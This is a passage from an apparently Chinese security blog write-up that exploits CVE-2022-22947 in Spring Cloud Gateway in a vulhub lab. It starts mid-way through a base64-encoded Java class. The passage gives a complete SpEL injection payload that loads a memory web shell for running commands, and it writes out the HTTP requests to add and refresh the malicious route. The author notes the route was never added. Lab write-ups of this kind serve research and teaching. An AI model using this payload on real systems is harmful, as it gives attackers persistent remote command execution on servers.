W5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm5QYXJzZXIBAAIvKgwAdAB1AQBKb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L2NvbmRpdGlvbi9QYXR0ZXJuc1JlcXVlc3RDb25kaXRpb24BADBvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm4MACcAdgEAAAwAJwB3DAB4AHkBAA5pbmplY3Qtc3VjY2VzcwEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAxpbmplY3QtZXJyb3IBABFqYXZhL3V0aWwvU2Nhbm5lcgcAegwAewB8DAB9AH4HAH8MAIAAgQwAJwCCAQACXEEMAIMAhAwAhQCGAQAnb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL1Jlc3BvbnNlRW50aXR5BwCHDACIAIkMACcAigEAE2phdmEvaW8vSU9FeGNlcHRpb24BAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEABXBhcnNlAQBGKExqYXZhL2xhbmcvU3RyaW5nOylMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvdXRpbC9wYXR0ZXJuL1BhdGhQYXR0ZXJuOwEANihbTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3V0aWwvcGF0dGVybi9QYXRoUGF0dGVybjspVgECJChMamF2YS9sYW5nL1N0cmluZztMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L2NvbmRpdGlvbi9QYXR0ZXJuc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9jb25kaXRpb24vUmVxdWVzdE1ldGhvZHNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvY29uZGl0aW9uL1BhcmFtc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9jb25kaXRpb24vSGVhZGVyc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9jb25kaXRpb24vQ29uc3VtZXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvY29uZGl0aW9uL1Byb2R1Y2VzUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L2NvbmRpdGlvbi9SZXF1ZXN0Q29uZGl0aW9uOylWAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAI29yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9IdHRwU3RhdHVzAQACT0sBACVMb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL0h0dHBTdGF0dXM7AQA6KExqYXZhL2xhbmcvT2JqZWN0O0xvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvSHR0cFN0YXR1czspVgAhAAsABgAAAAAAAwABACcAKAABACkAAAAvAAEAAQAAAAUqtwABsQAAAAIAKgAAAAYAAQAAAAwAKwAAAAwAAQAAAAUALAAtAAAACQAuAC8AAgApAAABUwAKAAcAAACSEgJMKrYAAxIEBr0ABVkDEgZTWQQSB1NZBRIIU7YACU0sBLYAChILEgwEvQAFWQMSDVO2AAlOuwAOWbcADxIQtgAROgS7ABJZBL0AE1kDGQRTtwAUOgW7AAhZEhUZBQEBAQEBAbcAFjoGLCoGvQAGWQO7AAtZtwAXU1kELVNZBRkGU7YAGFcSGUynAAdNEhtMK7AAAQADAIkAjAAaAAMAKgAAADYADQAAAA4AAwAQACAAEQAlABIANgATAEQAFABWABUAaQAWAIYAFwCJABoAjAAYAI0AGQCQABsAKwAAAFIACAAgAGkAMAAxAAIANgBTADIAMQADAEQARQAzADQABABWADMANQA2AAUAaQAgADcAOAAGAI0AAwA5ADoAAgAAAJIAOwA8AAAAAwCPAD0APgABAD8AAAATAAL/AIwAAgcABgcADQABBwAaAwBAAAAABQEAOwAAAAEAMgBBAAMAKQAAAGgABAADAAAAJrsAHFm4AB0rtgAetgAftwAgEiG2ACK2ACNNuwAkWSyyACW3ACawAAAAAgAqAAAACgACAAAAHwAaACAAKwAAACAAAwAAACYALAAtAAAAAAAmAEIAPgABABoADABDAD4AAgBEAAAABAABAEUAQAAAAAUBAEIAAAABAEYAAAACAEc=

完整的 payload:

java
1
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('SpringRequestMappingMemshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQAiwoABgBICABJCgAGAEoIADAHAEsHAEwHAE0HAE4KAAUATwoABwBQBwBRCAAyBwBSBwBTCgAOAEgIAFQKAA4AVQcAVgcAVwoAEgBYCABZCgAIAFoKAAsASAoABwBbCABcBwBdCABeBwBfCgBgAGEKAGAAYgoAYwBkCgAcAGUIAGYKABwAZwoAHABoBwBpCQBqAGsKACQAbAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAeTFNwcmluZ1JlcXVlc3RNYXBwaW5nTWVtc2hlbGw7AQAIZG9JbmplY3QBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFXJlZ2lzdGVySGFuZGxlck1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAOZXhlY3V0ZUNvbW1hbmQBAAtwYXRoUGF0dGVybgEAMkxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm47AQAYcGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uAQBMTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uOwEAEnJlcXVlc3RNYXBwaW5nSW5mbwEAQ0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbzsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAccmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAA21zZwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUBABBNZXRob2RQYXJhbWV0ZXJzAQA9KExqYXZhL2xhbmcvU3RyaW5nOylMb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL1Jlc3BvbnNlRW50aXR5OwEAA2NtZAEACmV4ZWNSZXN1bHQBAApFeGNlcHRpb25zBwBtAQAKU291cmNlRmlsZQEAIVNwcmluZ1JlcXVlc3RNYXBwaW5nTWVtc2hlbGwuamF2YQwAJwAoAQAMaW5qZWN0LXN0YXJ0DABuAG8BAA9qYXZhL2xhbmcvQ2xhc3MBABBqYXZhL2xhbmcvT2JqZWN0AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQBBb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8MAHAAcQwAcgBzAQAcU3ByaW5nUmVxdWVzdE1hcHBpbmdNZW1zaGVsbAEAEGphdmEvbGFuZy9TdHJpbmcBADZvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm5QYXJzZXIBAAIvKgwAdAB1AQBKb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L2NvbmRpdGlvbi9QYXR0ZXJuc1JlcXVlc3RDb25kaXRpb24BADBvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm4MACcAdgEAAAwAJwB3DAB4AHkBAA5pbmplY3Qtc3VjY2VzcwEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAxpbmplY3QtZXJyb3IBABFqYXZhL3V0aWwvU2Nhbm5lcgcAegwAewB8DAB9AH4HAH8MAIAAgQwAJwCCAQACXEEMAIMAhAwAhQCGAQAnb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL1Jlc3BvbnNlRW50aXR5BwCHDACIAIkMACcAigEAE2phdmEvaW8vSU9FeGNlcHRpb24BAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEABXBhcnNlAQBGKExqYXZhL2xhbmcvU3RyaW5nOylMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvdXRpbC9wYXR0ZXJuL1BhdGhQYXR0ZXJuOwEANihbTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3V0aWwvcGF0dGVybi9QYXRoUGF0dGVybjspVgECJChMamF2YS9sYW5nL1N0cmluZztMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L2NvbmRpdGlvbi9QYXR0ZXJuc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9jb25kaXRpb24vUmVxdWVzdE1ldGhvZHNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvY29uZGl0aW9uL1BhcmFtc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9jb25kaXRpb24vSGVhZGVyc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9jb25kaXRpb24vQ29uc3VtZXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvY29uZGl0aW9uL1Byb2R1Y2VzUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L2NvbmRpdGlvbi9SZXF1ZXN0Q29uZGl0aW9uOylWAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAI29yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9IdHRwU3RhdHVzAQACT0sBACVMb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL0h0dHBTdGF0dXM7AQA6KExqYXZhL2xhbmcvT2JqZWN0O0xvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvSHR0cFN0YXR1czspVgAhAAsABgAAAAAAAwABACcAKAABACkAAAAvAAEAAQAAAAUqtwABsQAAAAIAKgAAAAYAAQAAAAwAKwAAAAwAAQAAAAUALAAtAAAACQAuAC8AAgApAAABUwAKAAcAAACSEgJMKrYAAxIEBr0ABVkDEgZTWQQSB1NZBRIIU7YACU0sBLYAChILEgwEvQAFWQMSDVO2AAlOuwAOWbcADxIQtgAROgS7ABJZBL0AE1kDGQRTtwAUOgW7AAhZEhUZBQEBAQEBAbcAFjoGLCoGvQAGWQO7AAtZtwAXU1kELVNZBRkGU7YAGFcSGUynAAdNEhtMK7AAAQADAIkAjAAaAAMAKgAAADYADQAAAA4AAwAQACAAEQAlABIANgATAEQAFABWABUAaQAWAIYAFwCJABoAjAAYAI0AGQCQABsAKwAAAFIACAAgAGkAMAAxAAIANgBTADIAMQADAEQARQAzADQABABWADMANQA2AAUAaQAgADcAOAAGAI0AAwA5ADoAAgAAAJIAOwA8AAAAAwCPAD0APgABAD8AAAATAAL/AIwAAgcABgcADQABBwAaAwBAAAAABQEAOwAAAAEAMgBBAAMAKQAAAGgABAADAAAAJrsAHFm4AB0rtgAetgAftwAgEiG2ACK2ACNNuwAkWSyyACW3ACawAAAAAgAqAAAACgACAAAAHwAaACAAKwAAACAAAwAAACYALAAtAAAAAAAmAEIAPgABABoADABDAD4AAgBEAAAABAABAEUAQAAAAAUBAEIAAAABAEYAAAACAEc='),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(RequestMappingHandlerMapping)}

使用 vulhub/spring/CVE-2022-22947 环境

plain
1
docker compose up -d

传入内存马:

plain
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /actuator/gateway/routes/springmemshell HTTP/1.1
Host: 192.168.31.16:8080
Content-Type: application/json

{
  "predicates": [
    {
      "name": "Path",
      "args": {
        "_genkey_0": "/springmemshell/**"
      }
    }
  ],
  "filters": [
    {
      "name": "RewritePath",
      "args": {
        "_genkey_0": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass('SpringRequestMappingMemshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQAiwoABgBICABJCgAGAEoIADAHAEsHAEwHAE0HAE4KAAUATwoABwBQBwBRCAAyBwBSBwBTCgAOAEgIAFQKAA4AVQcAVgcAVwoAEgBYCABZCgAIAFoKAAsASAoABwBbCABcBwBdCABeBwBfCgBgAGEKAGAAYgoAYwBkCgAcAGUIAGYKABwAZwoAHABoBwBpCQBqAGsKACQAbAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAeTFNwcmluZ1JlcXVlc3RNYXBwaW5nTWVtc2hlbGw7AQAIZG9JbmplY3QBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFXJlZ2lzdGVySGFuZGxlck1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAOZXhlY3V0ZUNvbW1hbmQBAAtwYXRoUGF0dGVybgEAMkxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm47AQAYcGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uAQBMTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uOwEAEnJlcXVlc3RNYXBwaW5nSW5mbwEAQ0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbzsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAccmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAA21zZwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUBABBNZXRob2RQYXJhbWV0ZXJzAQA9KExqYXZhL2xhbmcvU3RyaW5nOylMb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL1Jlc3BvbnNlRW50aXR5OwEAA2NtZAEACmV4ZWNSZXN1bHQBAApFeGNlcHRpb25zBwBtAQAKU291cmNlRmlsZQEAIVNwcmluZ1JlcXVlc3RNYXBwaW5nTWVtc2hlbGwuamF2YQwAJwAoAQAMaW5qZWN0LXN0YXJ0DABuAG8BAA9qYXZhL2xhbmcvQ2xhc3MBABBqYXZhL2xhbmcvT2JqZWN0AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQBBb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8MAHAAcQwAcgBzAQAcU3ByaW5nUmVxdWVzdE1hcHBpbmdNZW1zaGVsbAEAEGphdmEvbGFuZy9TdHJpbmcBADZvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm5QYXJzZXIBAAIvKgwAdAB1AQBKb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L2NvbmRpdGlvbi9QYXR0ZXJuc1JlcXVlc3RDb25kaXRpb24BADBvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm4MACcAdgEAAAwAJwB3DAB4AHkBAA5pbmplY3Qtc3VjY2VzcwEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAxpbmplY3QtZXJyb3IBABFqYXZhL3V0aWwvU2Nhbm5lcgcAegwAewB8DAB9AH4HAH8MAIAAgQwAJwCCAQACXEEMAIMAhAwAhQCGAQAnb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL1Jlc3BvbnNlRW50aXR5BwCHDACIAIkMACcAigEAE2phdmEvaW8vSU9FeGNlcHRpb24BAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEABXBhcnNlAQBGKExqYXZhL2xhbmcvU3RyaW5nOylMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvdXRpbC9wYXR0ZXJuL1BhdGhQYXR0ZXJuOwEANihbTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3V0aWwvcGF0dGVybi9QYXRoUGF0dGVybjspVgECJChMamF2YS9sYW5nL1N0cmluZztMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L2NvbmRpdGlvbi9QYXR0ZXJuc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9jb25kaXRpb24vUmVxdWVzdE1ldGhvZHNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvY29uZGl0aW9uL1BhcmFtc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9jb25kaXRpb24vSGVhZGVyc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9jb25kaXRpb24vQ29uc3VtZXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvY29uZGl0aW9uL1Byb2R1Y2VzUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L2NvbmRpdGlvbi9SZXF1ZXN0Q29uZGl0aW9uOylWAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAI29yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9IdHRwU3RhdHVzAQACT0sBACVMb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL0h0dHBTdGF0dXM7AQA6KExqYXZhL2xhbmcvT2JqZWN0O0xvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvSHR0cFN0YXR1czspVgAhAAsABgAAAAAAAwABACcAKAABACkAAAAvAAEAAQAAAAUqtwABsQAAAAIAKgAAAAYAAQAAAAwAKwAAAAwAAQAAAAUALAAtAAAACQAuAC8AAgApAAABUwAKAAcAAACSEgJMKrYAAxIEBr0ABVkDEgZTWQQSB1NZBRIIU7YACU0sBLYAChILEgwEvQAFWQMSDVO2AAlOuwAOWbcADxIQtgAROgS7ABJZBL0AE1kDGQRTtwAUOgW7AAhZEhUZBQEBAQEBAbcAFjoGLCoGvQAGWQO7AAtZtwAXU1kELVNZBRkGU7YAGFcSGUynAAdNEhtMK7AAAQADAIkAjAAaAAMAKgAAADYADQAAAA4AAwAQACAAEQAlABIANgATAEQAFABWABUAaQAWAIYAFwCJABoAjAAYAI0AGQCQABsAKwAAAFIACAAgAGkAMAAxAAIANgBTADIAMQADAEQARQAzADQABABWADMANQA2AAUAaQAgADcAOAAGAI0AAwA5ADoAAgAAAJIAOwA8AAAAAwCPAD0APgABAD8AAAATAAL/AIwAAgcABgcADQABBwAaAwBAAAAABQEAOwAAAAEAMgBBAAMAKQAAAGgABAADAAAAJrsAHFm4AB0rtgAetgAftwAgEiG2ACK2ACNNuwAkWSyyACW3ACawAAAAAgAqAAAACgACAAAAHwAaACAAKwAAACAAAwAAACYALAAtAAAAAAAmAEIAPgABABoADABDAD4AAgBEAAAABAABAEUAQAAAAAUBAEIAAAABAEYAAAACAEc='),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(RequestMappingHandlerMapping)}",
        "_genkey_1": "/${path}"
      }
    }
  ],
  "uri": "https://xvshifu.github.io/",
  "order": 0
}

img

刷新路由:

plain
1
2
3
4
5
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.31.16:8080
Content-Type: application/json
Connection: close
Content-Length: 258

img

查看添加的路由:

plain
1
2
3
GET /actuator/gateway/routes HTTP/1.1
Host: 192.168.31.16:8080
Connection: close

img

尝试了很多次,但是不知道什么原因。payload 应该没有问题,就是添加不了路由。

参考:

自带 SSRF 攻击——网关执行器

CVE-2022-22947:Spring Cloud Gateway 代码注入漏洞

CVE-2022-22947:SpEL 类型转换与恶意 Bean

Spring cloud gateway通过SPEL注入内存马